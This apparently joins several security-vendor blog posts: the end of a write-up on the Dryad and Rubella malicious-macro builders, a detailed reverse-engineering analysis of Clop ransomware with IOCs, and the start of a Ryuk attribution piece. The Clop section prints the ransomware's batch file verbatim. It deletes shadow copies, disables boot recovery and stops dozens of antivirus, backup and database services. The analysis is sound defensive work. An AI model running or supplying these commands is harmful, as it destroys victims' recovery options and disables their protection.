Evasion Techniques
Additionally, it generates random code to obfuscate the content and adds junk code.
The function GenRandom is used to generate random strings, chars as well as numbers.
It is used to obfuscate the macro generated.
It also uses a Junk Code function to add junk code into the document: For additional obfuscation it uses XOR encryption as well as Base64.
Write Macro
Finally, the function WriteMacro, writes the content previously configured: Under construction We did also notice that the builder uses additional functions that were still under development, as we can see with the “Script Generator” tab.
A message is printed when we click on it and that indicates it is still a function in development.
Additionally, we can see the “Decoy Option” tab which is just a template to create another tab.
The tab does not show anything.
It seems the author left this tab to create another one.
Rubella Similarities Dryad is very similar to the Rubella Builder; many hints present in the code confirm the conversation we had with Rubella.
Unlike Rubella, Dryad did have a scrubbed PDB path.
Both Rubella builder and Dryad Builder are using the Bunifu framework for the graphic design.
The license check is also the same function, using the domain tailoredtaboo.com, Below is the license check function from the Rubella builder: Tailoredtaboo.com Analysis We analyzed the server used to register the builder and discovered additional samples: Most of these samples were Word documents generated with the builder.
A quick search into the domain Tailoredtaboo showed that it had several subdomains, including a control panel on a subdomain named cpanel.tailoredtaboo.com.
The cPanel subdomain had the following login screen in the Dutch language.
The domain tailoredtaboo.com has been linked to malicious content in the past.
On Twitter the researcher @nullcookies reported in April 2018 that he found some malicious files hosted on the specific domain.
In the directory listing of the main domain there were several files also mentioning the name Rubella.
TailoredTaboo.com mentioned on Twitter Based on all the references, and the way the domain Tailoredtaboo.com was used, we believe that the domain plays a central administrative role for both Rubella and Dryad Macro Builder and can provide insight into the customers of both Macro Builders Conclusion Toolkits that build weaponized Office documents, like Dryad and Rubella, cater to the increasing cybercriminal demand of this type of infection vector.
With the arrest of the suspect comes an end to the era of Dryad and Rubella Macro Builder.
Based on his activity, the suspect looked like quite the cybercriminal entrepreneur, but given his young age this is also a worrisome thought.
If only he would have used his skills for good.
The lure of quick cash was apparently more enticing than building a solid long-term career.
We at McAfee never like to see young talented individuals heading down a dark path.
Indicators of Compromise URL / Website: hxxps://tailoredtaboo.com/auth/check.php
Hash Builder: Dryad: 7d1603f815715a062e18ae56ca53efbaecc499d4193ea44a8aef5145a4699984 Rubella:
2a20d3d9ac4dc74e184676710a4165c359a56051c7196ca120fcf8716b7c21b9 Hash related samples: 93db479835802dc22ba5e55a7915bd25f1f765737d1efab72bde11e132ff165a ad2f9ef7142a43094161eae9b9a55bfbb6dff85d890d1823e77fc4254f29ef17 c2c2fdcc36569f6866e19fcda702c823e7bf73d5ca394652ac3a0ccc6ff9c905 3c55e54f726758f5cb0d8ef81be47c6612dba5a73e3a29f82b73a4c773e691a3 74c8389f20e50ae3a9b7d7e69f6ae7ed1a625ccc8bb6a52b3cc435cf94e6e2d3 388ee9bc0acaeec139bc17bceb19a94071aa6ae43af4ec526518b5e1f1f38f07 08694ad23cafe45495fa790bfdc411ab5c81cc2412370633a236c688b07d26aa 428a30b8787d2ba441dba1dbc3acbfd40cf7f2fc143131a87a93f27db96b7a75 93db479835802dc22ba5e55a7915bd25f1f765737d1efab72bde11e132ff165a c777012abe224126dca004561619cb0791096611257099058ece1b8d001277d0 5b773acad7da2f33d86286df6b5e95ae355ac50d143171a5b7ee61d6b3cad6d5 a17e3c2271a94450a7a7c6fcd936f177fc40ea156de4deafdfc14fd5aadfe503 1de0ebc0c375332ec60104060eecad77e0732fa2ec934f483f330110a23b46e1 b7a86965f22ed73de180a9f98243dc5dcfb6ee30533d44365bac36124b9a1541
By Alexandre Mundo on Aug 01, 2019 This new ransomware was discovered by Michael Gillespie on 8 February 2019 and it is still improving over time.
This blog will explain the technical details and share information about how this new ransomware family is working.
There are some variants of the Clop ransomware but in this report, we will focus on the main version and highlight part of those variations.
The main goal of Clop is to encrypt all files in an enterprise and request a payment to receive a decryptor to decrypt all the affected files.
To achieve this, we observed some new techniques being used by the author that we have not seen before.
Clearly over the last few months we have seen more innovative techniques appearing in ransomware.
Clop Overview
The Clop ransomware is usually packed to hide its inner workings.
The sample we analyzed was also signed with the following certificate in the first version (now revoked): FIGURE 1.
Packer signed to avoid av programs and mislead the user Signing a malicious binary, in this case ransomware, may trick security solutions to trust the binary and let it pass.
Although this initial certificate was revoked in a few days, another version appeared soon after with another certificate: FIGURE 2.
New certificate in new version This sample was discovered by MalwareHunterTeam ( https://twitter.com/malwrhunterteam ) on the 26 February, 2019.
We discovered the following Clop ransomware samples which were signed with a certificate: This malware is prepared to avoid running under certain conditions, for example in the first version it requests to be installed as a service; if that will not succeed, it will terminate itself.
The malware’s first action is to compare the keyboard of the victim computer using the function “GetKeyboardLayout”  against the hardcoded values.
This function returns the user keyboard input layout at the moment the malware calls the function.
The malware checks that the layout is bigger than the value 0x0437 (Georgian), makes some calculations with the Russian language (0x0419) and with the Azerbaijan language (0x082C).
This function will return 1 or 0, 1 if it belongs to Russia or another CIS country, or 0 in every other case.
FIGURE 3.
Checking the keyboard layout If the function returns 0, it will go to the normal flow of the malware, otherwise it will get the device context of the entire screen with the function “GetDC”.
Another condition will come from the function “GetTextCharset” that returns the font used in the system if it does not have the value 0xCC (RUSSIAN_CHARSET).
If it is the charset used, the malware will delete itself from the disk and terminate itself with “TerminateProcess” but if it is not this charset, it will continue in the normal flow This double check circumvents users with a multisystem language, i.e.
they have the Russian language installed but not active in the machine to avoid this type of malware.
FIGURE 4.
Check the text charset and compare with Russian charset The code that is supposed to delete the ransomware from the disk contains an error.
It will call directly to the prompt of the system without waiting for the malware to finish.
This means that the execution of the command will be correct but, as the malware is still running, it will not delete it from the disk.
This happens because the author did not use a “timeout” command.
FIGURE 5.
Deletion of the malware itself The next action of the malware is to create a new thread that will start all processes.
With the handle of this thread, it will wait for an infinite amount of time to finish with the “WaitForSingleObject” function and later return to the winMain function and exit.
This thread’s first action is to create a file called “Favorite” in the same folder as the malware.
Later, it will check the last error with “GetLastError” and, if the last error was 0,  it will wait with the function “Sleep” for 5 seconds.
Later the thread will make a dummy call to the function “EraseTape” with a handle of 0, perhaps to disturb the emulators because the handle is put at 0 in a hardcoded opcode, and later a call to the function “DefineDosDeviceA” with an invalid name that returns another error.
These operations will make a loop for 666000 times.
FIGURE 6.
Loop to disturb the analysis The next action is to search for some processes with these names: SBAMTray.exe (Vipre antivirus product) SBPIMSvc.exe
(Sunbelt AntiMalware antivirus product) SBAMSvc.exe (GFI AntiMalware antivirus product) VipreAAPSvc.exe (Vipre antivirus product)
WRSA.exe (WebRoot antivirus product)
If some of these processes are discovered, the malware will wait 5 seconds using “Sleep” and later another 5 seconds.
After those “sleep”, the malware will continue with their normal flow.
If these processes are not detected, it will access to their own resources and extract it with the name “OFFNESTOP1”.
That resource is encrypted but has inside a “.bat” file.
FIGURE 7.
Access to the first resource crypted The decryption is a simple XOR operation with bytes from this string: “Po39NHfwik237690t34nkjhgbClopfdewquitr362DSRdqpnmbvzjkhgFD231ed76tgfvFAHGVSDqhjwgdyucvsbCdigr1326dvsaghjvehjGJHGHVdbas”.
The next action is to write this batch file in the same folder where the malware stays with the function “CreateFileA”.
The file created has the name “clearsystems-11-11.bat”.
Later will launch it with “ShellExecuteA”, wait for 5 seconds to finish and delete the file with the function “DeleteFileA”.
It is clear that the authors are not experienced programmers because they are using a .bat file for the next actions: Delete the shadow volumes with vssadmin (“vssadmin Delete Shadows /all /quiet”).
Resize the shadow storage for all units starting from C to H units’ letters (hardcoded letters) to avoid the shadow volumes being made again.
Using bcedit program to disable the recovery options in the boot of the machine and set to ignore any failure in the boot warning the user.
All these actions could have been performed in the malware code itself, without the need of an external file that can be detected and removed.
FIGURE 8.
The BAT file to disable the shadow volumes and more security The next action is to create a mutex with the name hardcoded “Fany—Fany—6-6-6” and later make a call to the function “WaitForSingleObject” and check the result with 0.
If the value is 0 it means that the mutex was created for this instance of the malware but if it gets another value, it means that the mutex was made from another instance or vaccine and, in this case, it will finish the execution of the malware.
After this, it will make 2 threads, one of them to search for processes and the another one to crypt files in the network shares that it has access to.
The first thread enumerates all processes of the system and creates the name of the process in upper case and calculates a hash with the name and compares it with a big list of hashes.
This hash algorithm is a custom algorithm.
It is typical in malware that tries to hide what processes they are looking for.
If it finds one of them it will terminate it with “TerminateProcess” function after opening with the rights to make this action with “OpenProcess” function.
The malware contains 61 hard-coded hashes of programs such as “STEAM.EXE”, database programs, office programs and others.
Below, the first 38 hashes with the associated process names.
These 38 processes are the most usual processes to close as we have observed with other ransomwares families such as GandCrab, Cerber, etc.
This thread runs in an infinite loop with a wait using the function “Sleep” per iteration of 30 minutes.
FIGURE 9.
Thread to kill critical processes to unlock files The second thread created has the task of enumerating all network shares and crypts files in them if the malware has access to them.
For executing this task, it uses the typical API functions of the module “MPR.DLL”:
WNetOpenEnumW WNetEnumResourceW WNetCloseEnum
This thread starts creating a reserve of memory with “GlobalAlloc” function to keep the information of the “MPR” functions.
For each network share that the malware discovers, it will prepare to enumerate more shares and crypt files.
For each folder discovered, it will enter it and search for more subfolders and files.
The first step is to check the name of the folder/file found against a hardcoded list of hashes with the same algorithm used to detect the processes to close.
Below are the results of 12 of the 27 hashes with the correct names: If it passes, it will check that the file is not a folder, and in this case compare the name with a list of hardcoded names and extensions that are in plain text rather than in hash format: ClopReadMe.txt ntldr NTDLR boot.ini BOOT.INI ntuser.ini NTUSER.INI AUTOEXEC.BAT autoexec.bat .Clop NTDETECT.COM ntdetect.com .dll
.DLL .exe
.EXE .sys
.SYS .ocx
.OCX .LNK .lnk
desktop.ini autorun.inf ntuser.dat iconcache.db bootsect.bak ntuser.dat.log thumbs.db DESKTOP.INI AUTORUN.INF NTUSER.DAT ICONCACHE.DB BOOTSECT.BAK NTUSER.DATA.LOG
THUMBS.DB This check is done with a custom function that checks character per character against all the list.
It is the reason for having the same names in both upper and lower case, instead of using the function “lstrcmpiA,” for example, to avoid some hook in this function preventing the file from being affected.
The check of the extension at the same time is to make the process of crypto quicker.
Of course, the malware checks that the file does not have the name of the ransom note and the extension that it will put in the crypted file.
Those blacklisted extensions will help the system avoid crashing during the encryption compared with other ransomware families.
FIGURE 10.
Check of file names and extensions This behavior is normal in ransomware but the previous check against hardcoded hashes based on the file/folder name is weird because later, as we can see in the above picture, the next check is against plain text strings.
If it passes this check, the malware will make a new thread with a struct prepared with a hardcoded key block, the name of the file, and the path where the file exists.
In this thread the first action is to remove the error mode with “SetErrorMode” to 1 to avoid an error dialog being shown to the user if it crashes.
Later, it will prepare the path to the file from the struct passed as argument to the thread and change the attributes of the file to ARCHIVE with the function “SetFileAttributesW”, however the malware does not check if it can make this action with success or not.
Later it will generate a random AES key and crypt each byte of the file with this key, next it will put the mark “Clop^_” at the end of the file, after the mark it will put the key used to crypt the file ciphered with the master RSA key that has hardcoded the malware to protect it against third party free decryptors.
The malware can use 2 different public RSA keys: one exported using the crypto api in a public blob or using the embedded in base64 in the malware.
The malware will only use the second one if it cannot create the crypto context or has some problem with the crypto api functions.
The malware does not have support for Windows XP in its use with the crypto functions, because the CSP used in Windows XP has another name, but if run in another operating system starting with Windows Vista, it can change the name in the debugger to acquire the context later and will generate a RSA public blob.
Another difference with other ransomware families is that Clop will only cipher the disk that is a physical attached/embedded disk (type 3, FIXED or removable (type 2)).
The malware ignores the REMOTE type (4)).
Anyways, the shares can be affected using the “MPR.DLL” functions without any problem.
FIGURE 11.
Filemark in the crypted file and key used ciphered After encrypting, the file will try to open in the same folder the ransom note and, if it exists, it will continue without overwriting it to save time, but if the ransom note does not exist it will access one resource in the malware called “OFFNESTOP”.
This resource is crypted with the same XOR operation as the first resource: the .bat file, after decrypting, will write the ransom note in the folder of the file.
FIGURE 12.
Creation of the ransom note from a crypted resource Here is a sample of the ransom note of the first version of this malware: FIGURE 13.
Example of ransom note of the first version of the malware After this, Clop will continue with the next file with the same process however, the check of the name based with the hash is avoided now.
Second Version of
the Malware
The second version found by the end of February has some changes if it is compared with the first one.
The hash of this version is: “ed7db8c2256b2d5f36b3d9c349a6ed0b”.
The first change is some changes in the strings in plain text of the code to make the execution in the “EraseTape” call and “FindAtomW” call more slowly.
Now the names are for the tape: “” and the atom “”.
The second change is the name of the resources crypted in the binary, the first resource that is a second batch file to delete the shadow volumes and remove the protections in the boot of the machine as the previous one has another name: “RC_HTML1”.
FIGURE 14.
New resource name for the batch file However, the algorithm to decrypt this resource is the same, except that they changed the big string that acts as a key for the bytes.
Now the string is: “JLKHFVIjewhyur3ikjfldskfkl23j3iuhdnfklqhrjjio2ljkeosfjh7823763647823hrfuweg56t7r6t73824y78Clop”.
It is important to remember that this string remains in plain text in the binary but, as it has changed, it cannot be used for a Yara rule.
The same counts for the name of the resources and also for the hash of the resource because the bat changes per line in some cases and in another as it will have more code to stop services of products of security and databases.
The contents of the new BAT file are: @echo off vssadmin Delete Shadows /all /quiet vssadmin resize shadowstorage /for
=c: /on
=c: /maxsize=401
MB vssadmin resize shadowstorage /for
=c: /on
=c: /maxsize
=unbounded vssadmin resize shadowstorage /for=
d: /on
=d: /maxsize=401MB vssadmin resize shadowstorage /for=d: /on
=d: /maxsize=unbounded vssadmin resize shadowstorage /for
=e: /on
=e: /maxsize=401MB vssadmin resize shadowstorage /for
=e: /on
=e: /maxsize
=unbounded vssadmin resize shadowstorage /for
=f: /on
=f: /maxsize=401MB vssadmin resize shadowstorage /for
=f: /on
=f: /maxsize=unbounded vssadmin resize shadowstorage /for
=g: /on
=g: /maxsize=401
MB vssadmin resize shadowstorage /for
=g: /on
=g: /maxsize=unbounded vssadmin resize shadowstorage /for
=h: /on
=h:
/maxsize=401
MB vssadmin resize shadowstorage /for
=h: /on
=h: /maxsize
=unbounded bcdedit /set {default} recoveryenabled No bcdedit /set {default} bootstatuspolicy ignoreallfailures vssadmin Delete Shadows /all /quiet
net stop SQLAgent$SYSTEM_BGC /y
net stop “Sophos Device Control Service” /y
net stop macmnsvc /y
net stop SQLAgent$ECWDB2 /y
net stop “Zoolz 2 Service” /y
net stop McTaskManager /y
net stop “Sophos AutoUpdate Service” /y
net stop “Sophos System Protection Service” /y
net stop EraserSvc11710 /y
net stop PDVFSService /y net stop SQLAgent$PROFXENGAGEMENT /y
net stop SAVService /y
net stop MSSQLFDLauncher$TPSAMA /y
net stop EPSecurityService /y net stop SQLAgent$SOPHOS /y
net stop “Symantec System Recovery” /y
net stop Antivirus /y net stop SstpSvc /y net stop MSOLAP$SQL_2008 /y net stop TrueKeyServiceHelper /y net stop sacsvr /y net stop VeeamNFSSvc /y net stop FA_Scheduler /y
net stop SAVAdminService /y net stop EPUpdateService /y net stop VeeamTransportSvc /y net stop “Sophos Health Service” /y
net stop bedbg /y net stop MSSQLSERVER /y
net stop KAVFS /y
net stop Smcinst /y net stop MSSQLServerADHelper100 /y
net stop TmCCSF /y
net stop wbengine /y net stop SQLWriter /y
net stop MSSQLFDLauncher$TPS /y net stop SmcService /y net stop ReportServer$TPSAMA /y net stop swi_update /y net stop AcrSch2Svc /y net stop MSSQL$SYSTEM_BGC /y net stop VeeamBrokerSvc /y net stop MSSQLFDLauncher$PROFXENGAGEMENT /y net stop VeeamDeploymentService /y net stop SQLAgent$TPS /y net stop DCAgent /y net stop “Sophos Message Router” /y
net stop MSSQLFDLauncher$SBSMONITORING /y
net stop wbengine /y net stop MySQL80 /y
net stop MSOLAP$SYSTEM_BGC /y
net stop ReportServer$TPS /y
net stop MSSQL$ECWDB2 /y
net stop SntpService /y net stop SQLSERVERAGENT /y
net stop BackupExecManagementService /y net stop SMTPSvc /y net stop mfefire /y
net stop BackupExecRPCService /y net stop MSSQL$VEEAMSQL2008R2 /y net stop klnagent /y net stop MSExchangeSA /y
net stop MSSQLServerADHelper /y net stop SQLTELEMETRY /y
net stop “Sophos Clean Service” /y
net stop swi_update_64 /y
net stop “Sophos Web Control Service” /y
net stop EhttpSrv /y
net stop POP3Svc /y net stop MSOLAP$TPSAMA /y net stop McAfeeEngineService /y net stop “Veeam Backup Catalog Data Service” / net stop MSSQL$SBSMONITORING /y
net stop ReportServer$SYSTEM_BGC /y net stop AcronisAgent /y net stop KAVFSGT /y
net stop BackupExecDeviceMediaService /y net stop MySQL57 /y
net stop McAfeeFrameworkMcAfeeFramework /y net stop TrueKey /y
net stop VeeamMountSvc /y net stop MsDtsServer110 /y net stop SQLAgent$BKUPEXEC /y net stop UI0Detect /y
net stop ReportServer /y net stop SQLTELEMETRY$ECWDB2 /y net stop MSSQLFDLauncher$SYSTEM_BGC /y net stop MSSQL$BKUPEXEC /y net stop SQLAgent$PRACTTICEBGC /y net stop
MSExchangeSRS /y net stop SQLAgent$VEEAMSQL2008R2 /y net stop McShield /y net stop SepMasterService /y
net stop “Sophos MCS Client” /y
net stop VeeamCatalogSvc /y
net stop SQLAgent$SHAREPOINT /y net stop NetMsmqActivator /y net stop kavfsslp /y
net stop tmlisten /y net stop ShMonitor /y net stop MsDtsServer /y net stop SQLAgent$SQL_2008 /y net stop SDRSVC /y
net stop IISAdmin /y net stop SQLAgent$PRACTTICEMGT /y net stop BackupExecJobEngine /y net stop SQLAgent$VEEAMSQL2008R2 /y net stop BackupExecAgentBrowser /y net stop VeeamHvIntegrationSvc /y net stop masvc /y
net stop W3Svc /y net stop “SQLsafe Backup Service” /y
net stop SQLAgent$CXDB /y net stop SQLBrowser /y net stop MSSQLFDLauncher$SQL_2008 /y
net stop VeeamBackupSvc /y net stop “Sophos Safestore Service” /y
net stop svcGenericHost /y
net stop ntrtscan /y
net stop SQLAgent$VEEAMSQL2012 /y net stop MSExchangeMGMT /y net stop SamSs /y net stop MSExchangeES /y
net stop MBAMService /y
net stop EsgShKernel /y net stop ESHASRV /y net stop MSSQL$TPSAMA /y net stop SQLAgent$CITRIX_METAFRAME /y net stop VeeamCloudSvc /y net stop “Sophos File Scanner Service” /y
net stop “Sophos Agent” /y
net stop MBEndpointAgent /y net stop swi_service /y net stop MSSQL$PRACTICEMGT /y
net stop SQLAgent$TPSAMA /y
net stop McAfeeFramework /y net stop “Enterprise Client Service” /y
net stop SQLAgent$SBSMONITORING /y
net stop MSSQL$VEEAMSQL2012 /y
net stop swi_filter /y
net stop SQLSafeOLRService /y
net stop BackupExecVSSProvider /y net stop VeeamEnterpriseManagerSvc /y net stop SQLAgent$SQLEXPRESS /y
net stop OracleClientCache80 /y net stop MSSQL$PROFXENGAGEMENT /y
net stop IMAP4Svc /y net stop ARSM /y
net stop MSExchangeIS /y net stop AVP /y net stop MSSQLFDLauncher /y
net stop MSExchangeMTA /y net stop TrueKeyScheduler /y net stop MSSQL$SOPHOS /y net stop “SQL Backups” /y
net stop MSSQL$TPS /y net stop mfemms /y net stop MsDtsServer100 /y
net stop MSSQL$SHAREPOINT /y
net stop WRSVC /y
net stop mfevtp /y
net stop msftesql$PROD /y net stop mozyprobackup /y net stop
MSSQL$SQL_2008 /y net stop SNAC /y
net stop ReportServer$SQL_2008 /y
net stop BackupExecAgentAccelerator /y net stop MSSQL$SQLEXPRESS /y
net stop MSSQL$PRACTTICEBGC /y
net stop VeeamRESTSvc /y net stop sophossps /y net stop ekrn /y
net stop MMS /y net stop “Sophos MCS Agent” /y
net stop RESvc /y net stop “Acronis VSS Provider” /y
net stop MSSQL$VEEAMSQL2008R2 /y net stop MSSQLFDLauncher$SHAREPOINT /y
net stop “SQLsafe Filter Service” /y
net stop MSSQL$PROD /y net stop SQLAgent$PROD /y
net stop MSOLAP$TPS /y net stop VeeamDeploySvc /y net stop MSSQLServerOLAPService /y
The next change is the mutex name.
In this version it is “HappyLife^_-“, so, can it be complex to make a vaccine based on the mutex name because it can be changed easily in each new sample.
The next change is the hardcoded public key of the malware that is different to the previous version.
Another change is the file created; the first version creates the file with the name “Favourite” but this version creates this file with the name “Comone”.
However, the algorithm of crypto of the files and the mark in the file crypted is the same.
Another difference is in the ransom note that is now clearer with some changes in the text and now has 3 emails instead of one to contact the ransomware developers.
FIGURE 15.Example of the new ransom note Other Samples of the Malware Clop is a ransomware family that its authors or affiliates can change in a quick way to make it more complex to track the samples.
The code largely remains the same but changing the strings can make it more difficult to detect and/or classify it correctly.
Now we will talk about the changes of some samples to see how prolific the ransomware Clop is.
Sample 0403db9fcb37bd8ceec0afd6c3754314 has a compile date of 12 February, 2019 and has the following changes if compared with other samples: The file created has the name “you_offer.txt”.
The name of the device in the fake call to “EraseTape” and “DefineDosDeviceA” functions is “..1”.
An atom searched for nothing has the name of “$$$$”.
The mutex name is “MoneyP#666”.
The resources crypted with the ransom note and the bat file are called “SIXSIX1” for the batch file and the another one for the ransom note “SIXSIX”.
The name of the batch file is “clearsystems-10-1.bat”.
The key for the XOR operation to decrypt the ransom note and the batch file is: “Clopfdwsjkjr23LKhuifdhwui73826ygGKUJFHGdwsieflkdsj324765tZPKQWLjwNVBFHewiuhryui32JKG” The batch file is different to the other versions, in this case not changing the boot config of the target victim.
FIGURE 16.
Another version of the batch file The email addresses to contact are: icarsole@protonmail.com and unlock@eaqltech.su .
As a curiosity, this ransom note has a line that another does not have: “Every day of delay will cost you additional +0.5 BTC” (about 1500-1700 $).
The 3ea56f82b66b26dc66ee5382d2b6f05d sample has the following points of difference: The name of the file created is “popup.txt”.
The DefineDosDeviceA name is “1234567890”
The mutex is “CLOP#666”.
The date of compiled this sample is 7 of February.
The name of the bat file is “resort0-0-0-1-1-0-bat”.
This sample does not have support for Windows XP because a API that does not exist in Windows XP.
The Atom string is “27”.
Sample 846f93fcb65c9e01d99b867fea384edc , has these differences: The name of the file created is “HotGIrls”.
The DosDevice name is “GVSDFDS”.
Atom name: KLHJGWSEUiokgvs.
Batch file name “clearnetworksdns-11-22-33.bat”.
The email address to contact: unlock@eqaltech.su , unlock@royalmail.su and lestschelager@protonmail.com .
The ransom note does not have the previous string of increasing the price, but the maximum number of files that can be decrypted is 7 instead of 6..
As the reader can understand, Clop changes very quickly in strings and name of resources to make it more complex to detect the malware.
We also observed that the .BAT files were not present in earlier Clop ransomware versions.
Global Spread Based on the versions of Clop we discovered we detected telemetry hits in the following countries: Switzerland
Great Britain Belgium United States The Netherlands Croatia Porto Rico Germany Turkey Russia Denmark Mexico Canada Dominican Republic Vaccine The function to check a file or a folder name using the custom hash algorithm can be a problem for the malware execution due if one of them is found in execution, the malware will avoid it.
If this happens with a folder, all the files inside that folder will be skipped as well.
As the algorithm and the hash is based on 32bits and only in upper case characters, it is very easy to create a collision as we know the target hashes and the algorithm It cannot be used as vaccine on itself, but it can be useful to protect against the malware if the most critical files are inside of a collision folder name.
FIGURE 17.
Collision of hashes In the screenshot “BOOT” is a correct name for the hash, but the others are collisions.
This malware has a lot of changes per version that avoid making a normal vaccine using mutex, etc.
The Odd One in the Family That not all ransomware is created equally, especially goes for Clop.
Earlier in this blog we have highlighted some interesting choices the developers made when it came to detecting language settings, processes and the use of batch files to delete the shadow volume copies.
We found in the analysis some unique functions compared with other ransomware families.
However, Clop does embrace some of the procedures we have seen with other ransomware families by not listing the ransom amount or mentioning a bitcoin address.
Victims must communicate via email instead of with a central command and control server hosting decryption keys.
In the newer versions of Clop, victims are required to state their company name and site in the email communications.
We are not absolutely sure why this is, but it might be an effort to improve victim tracking.
Looking at the Clop ransom note, it shares TTPs with other ransomware families; e.g.
it mimics the Ryuk ransomware and contains similarities with BitPaymer, however the code and functions are quite different between them.
Coverage Customers of McAfee gateway and endpoint products are protected against this version.
GenericRXHA-RK!3FE02FDD2439 GenericRXHA-RK!160FD326A825 Trojan-Ransom Ransom-Clop!73FBFBB0FB34 Ransom-Clop!0403DB9FCB37 Ransom-Clop!227A9F493134 Ransom-Clop!A93B3DAA9460 GenericRXHA-RK!35792C550176 GenericRXHA-RK!738314AA6E07 RDN/Generic.dx bub BAT/Ransom-Clob BAT/Ransom-Blob McAfee ENS customers can create expert rules to prevent batch command execution by the ransomware.
A few examples are given below for reference.
The following expert rule can be used to prevent the malware from deleting the shadow volumes with vssadmin (“vssadmin Delete Shadows /all /quiet”).
When the expert rule is applied at the endpoint, deletion of shadow volume fails with the following error message: The malware also tries to stop McAfee services using command “net stop McShield /y”.
The following expert rule can be used to prevent the malware from stopping McAfee Services: When the expert rule is applied at the endpoint, the attempt to stop McAfee service using net command fails with the following error message: Indicators of Compromise The samples use the following MITRE ATT&CK™ techniques: Execution through API (Batch file for example).
Application processes discovery with some procedures as the hashes of the name, and directly for the name of the process.
File and directory discovery: to search files to encrypt.
Encrypt files.
Process discovery: enumerating all processes on the endpoint to kill some special ones.
Create files.
Create mutants.
Conclusion Clop ransomware shows some characteristics that enterprises are its intended targets instead of end consumers.
The authors displayed some creative technical solutions, to detect the victim’s language settings and installed programs.
On the other hand, we also noticed some weird decisions when it came to coding certain functionalities in the ransomware.
Unfortunately, it is not the first time that criminals will make money with badly programmed malware.
Clop is constantly evolving and even though we do not know what new changes will be implemented in the future, McAfee ATR will keep a close watch.
IOCs 9d59ee5fc7898493b855b0673d11c886882c5c1d f4492b2df9176514a41067140749a54a1cfc3c49 2950a3fcdd4e52e2b9469a33eee1012ef58e72b6 37a62c93ba0971ed7f77f5842d8c9b8a4475866c a71c9c0ca01a163ea6c0b1544d0833b57a0adcb4 21bdec0a974ae0f811e056ce8c7e237fd7c220c1 0a7ab8cc60b04e66be11eb41672991482b9c0656 ec2a3e9e9e472488b7540227448c1794ee7a5be6 e473e5b82ce65cb58fde4956ae529453eb0ec24f 3c8e60ce5ff0cb21be39d1176d1056f9ef9438fa d613f01ed5cb636feeb5d6b6843cb1686b7b7980 c41749901740d032b8cff0e397f6c3e26d05df76 e38bca5d39d1cfbfbcac23949700fe24a6aa5d89 09b4c74c0cf18533c8c5022e059b4ce289066830 37269b8d4115f0bdef96483b1de4593b95119b93 4d885d757d00e8abf8c4993bc49886d12c250c44 bc59ff12f71e9c8234c5e335d48f308207f6accfad3e953f447e7de1504e57af 31829479fa5b094ca3cfd0222e61295fff4821b778e5a7bd228b0c31f8a3cc44 35b0b54d13f50571239732421818c682fbe83075a4a961b20a7570610348aecc e48900dc697582db4655569bb844602ced3ad2b10b507223912048f1f3039ac6 00e815ade8f3ad89a7726da8edd168df13f96ccb6c3daaf995aa9428bfb9ecf1 408af0af7419f67d396f754f01d4757ea89355ad19f71942f8d44c0d5515eec8 0d19f60423cb2128555e831dc340152f9588c99f3e47d64f0bb4206a6213d579 7ada1228c791de703e2a51b1498bc955f14433f65d33342753fdb81bb35e5886 8e1bbe4cedeb7c334fe780ab3fb589fe30ed976153618ac3402a5edff1b17d64 d0cde86d47219e9c56b717f55dcdb01b0566344c13aa671613598cab427345b9 cff818453138dcd8238f87b33a84e1bc1d560dea80c8d2412e1eb3f7242b27da 929b7bf174638ff8cb158f4e00bc41ed69f1d2afd41ea3c9ee3b0c7dacdfa238 102010727c6fbcd9da02d04ede1a8521ba2355d32da849226e96ef052c080b56 7e91ff12d3f26982473c38a3ae99bfaf0b2966e85046ebed09709b6af797ef66 e19d8919f4cb6c1ef8c7f3929d41e8a1a780132cb10f8b80698c8498028d16eb 3ee9b22827cb259f3d69ab974c632cefde71c61b4a9505cec06823076a2f898e b207ce32398e8816ed44ea079904dc36 73efd5dc218db4d8c36546d9c9efe91c 36fe53674c67310af572daedf6e8deed 96caf3bcd58d41d23d1a4e27f2165ae3 7c90d8aed3efb9f8c661b1ab0a6f5986
By John Fokker and Christiaan Beek on Jan 09, 2019 Senior analyst Ryan Sherstobitoff contributed to this report.
During the past week, an outbreak of Ryuk ransomware that impeded newspaper printing services in the United States has garnered a lot of attention.
To determine who was behind the attack many have cited past research that compares code from Ryuk with the older ransomware Hermes to link the attack to North Korea.
Determining attribution was largely based on the fact that the Hermes ransomware has been used in the past by North Korean actors, and code blocks in Ryuk are similar to those in Hermes.
The McAfee Advanced Threat Research team has investigated this incident and determined how the malware works, how the attackers operate, and how to detect it.
Based on the technical indicators, known cybercriminal characteristics, and evidence discovered on the dark web, our hypothesis is that the Ryuk attacks may not necessarily be backed by a nation-state, but rather share the hallmarks of a cybercrime operation.
How McAfee approaches attribution Attribution is a critical part of any cybercrime investigation.
However, technical evidence is often not enough to positively identify who is behind an attack because it does not provide all the pieces of the puzzle.
Artifacts do not all appear at once; a new piece of evidence unearthed years after an attack can shine a different light on an investigation and introduce new challenges to current assumptions.
Ryuk attack: putting the pieces together In October 2017, we investigated an attack on a Taiwanese bank .
We discovered the actors used a clever tactic to distract the IT staff: a ransomware outbreak timed for the same moment that the thieves were stealing money.
We used the term pseudo-ransomware to describe this attack.
The malware was Hermes version 2.1.
One of the functions we often see in ransomware samples is that they will not execute if the victim’s system language is one of the following: 419 (Russian) 422 (Ukrainian) 423 (Belarusian)
That was October 2017.
Searching earlier events, we noticed a posting from August 2017 in an underground forum in which a Russian-speaking actor offered the malware kit Hermes 2.1 ransomware: What if the actor who attacked the Taiwanese bank simply bought a copy of Hermes and added it to the campaign to cause the distraction?
Why go to the trouble to build something, when the actor can just buy the perfect distraction in an underground forum?
In the same underground forum thread we found a post from October 22, 2018, mentioning Ryuk.
This post contains a link to an article in the Russian security magazine Xakep.ru (“Hacker”) discussing the emergence of Ryuk and how it was first discovered by MalwareHunterTeam in August 2018.
This first appearance came well before last week’s attack on newspaper printing services.
Manga connection Ryuk, according to Wikipedia, refers to a Japanese manga character from the series “Death Note.”
Ryuk apparently drops a death note, a fitting name for ransomware that drops ransom notes.
Ransomware is typically named by its cybercriminal developer, as opposed to the naming of state-sponsored malware, which is mostly is done by the security industry.
It seems the criminals behind Ryuk are into manga.
The use of manga character names and references is common in the cybercriminal scene.
We often come across manga-inspired nicknames and avatars in underground forums.
Technical indicators Looking at research from our industry peers comparing Ryuk and Hermes, we notice that the functionalities are generally equal.
We agree that the actors behind Ryuk have access to the Hermes source code.
Let’s dive a bit deeper into Ryuk and compare samples over the last couple of months regarding compilation times and the presence of program database (PDB) paths: We can see the PDB paths are almost identical.
When we compare samples from August and December 2018 and focus on the checksum values of the executables’ rich headers, they are also identical.
